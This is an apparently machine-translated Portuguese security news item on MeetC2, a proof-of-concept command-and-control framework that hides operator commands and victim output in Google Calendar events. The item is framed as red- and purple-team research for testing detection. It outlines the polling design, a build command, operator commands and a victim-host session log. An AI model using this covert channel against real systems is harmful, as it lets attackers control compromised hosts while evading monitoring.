Data: 2025-09-06 09:49:02
Autor: Inteligência Against Invaders
Fundo:Os adversários modernos ocultam cada vez mais o tráfego de comando e controle (C2) dentro dos serviços de nuvem. Criamos essa PoC (prova de conceito) para estudar e demonstrar essas técnicas de maneira controlada, emulando essas táticas para que as equipes vermelhas e azuis possam exercitar a detecção, a telemetria e a resposta a cenários de abuso na nuvem.
Hora da história:Durante um exercício interno da equipe roxa, vimos a facilidade com que o tráfego para domínios SaaS confiáveis diminuiu. Criamos uma PoC leve e multiplataforma que usa o Google Agenda, oferecendo às equipes uma maneira reproduzível de validar detecções, registros e governança de aplicativos de terceiros para C2 de abuso de nuvem em um ambiente controlado.
ConheçaC2:ConheçaC2é uma estrutura C2 de prova de conceito que usa a API Google Agenda como um canal de comunicação secreto entre as operadoras e um sistema comprometido.
ConheçaC2, também conhecido por MeetingC2, é um aplicativo multiplataforma (macOS/Linux) que demonstra como serviços de nuvem legítimos podem ser abusados para operações adversárias. Ao usar as APIs do Google Agenda, a estrutura cria um canal de comunicação oculto que se mistura com o tráfego comercial normal.
Os domínios utilizados aqui são “oauth2.googleapis.com” & “www.googleapis.com“. Uma vez autenticado, o agente entra em um loop de sondagem, enviando solicitações GET a cada 30 segundos para “www.googleapis.com/calendar/v3/calendars/{calendarId}/eventos” para verificar se há novos eventos de calendário contendo comandos.
Quando o organizador quiser emitir um novo comando, ele podePOSTARum novo evento para o mesmo endpoint da API Calendar por meio de “Organizador” com o comando incorporado no campo de resumo do evento, como “Reunião de ninguém: [COMMAND]”.
O “hóspede” identifica esses eventos de comando durante sua sondagem regular, que extrai e executa o comando localmente e, em seguida, atualiza o mesmo evento por meio de umPÔRsolicitação para incluir a saída do comando dentro do[OUTPUT] [/OUTPUT]no campo Descrição.
Compilar:
./build-all.sh
Host do invasor:
bash-3.2$ ./organizador credentials.jsem [NAME]@group.calendar.google.com
Organizador MeetC2
Comandos:
Exec — Execute em todos os hosts
@host executivo: — Executar em host específico
exec @*: — Executar em todos os hosts (explícito)
list — Lista comandos recentes
Obter — Obter saída do comando
clear — Limpar eventos executados
exit — Organizador de saída
— — — — — — — — — — — — — — — — — — — —
> executivo whoami
Comando criado para todos os hosts: qfj4tt8a4uoi8p7cd3b8t31337
>
>
Anfitrião vítima:
bash-3.2$ ./convidado-darwin-arm64
16:08:04 MeetC2 Convidado iniciado em dhirajmishra
16:08:04 ID do calendário: [NAME]@group.calendar.google.com
16:08:04 Sondagem a cada 10 segundos…
16:08:15 Executando o comando: whoami
16:08:16 Evento atualizado com êxito com saída
Agradecimentos:Este projeto foi inspirado noGC2-folhaautorLooCiprian. Por isso, um agradecimento especial a ele.
OpSec:Embora isso seja funcional, sei que há melhorias no OpSec especificamente para o “hóspede” binário. Portanto, use um projeto de teste do GCP para essa configuração, que deve ser eliminado posteriormente.
https://github.com/deriv-security/MeetC2
Sobre o autor:Pesquisador de segurança Dhiraj Mishra (@mishradhiraj)
Siga-me no Twitter:@securityaffairseLinkedineMastodonte
(Assuntos de Segurança–hacking,MeetC2)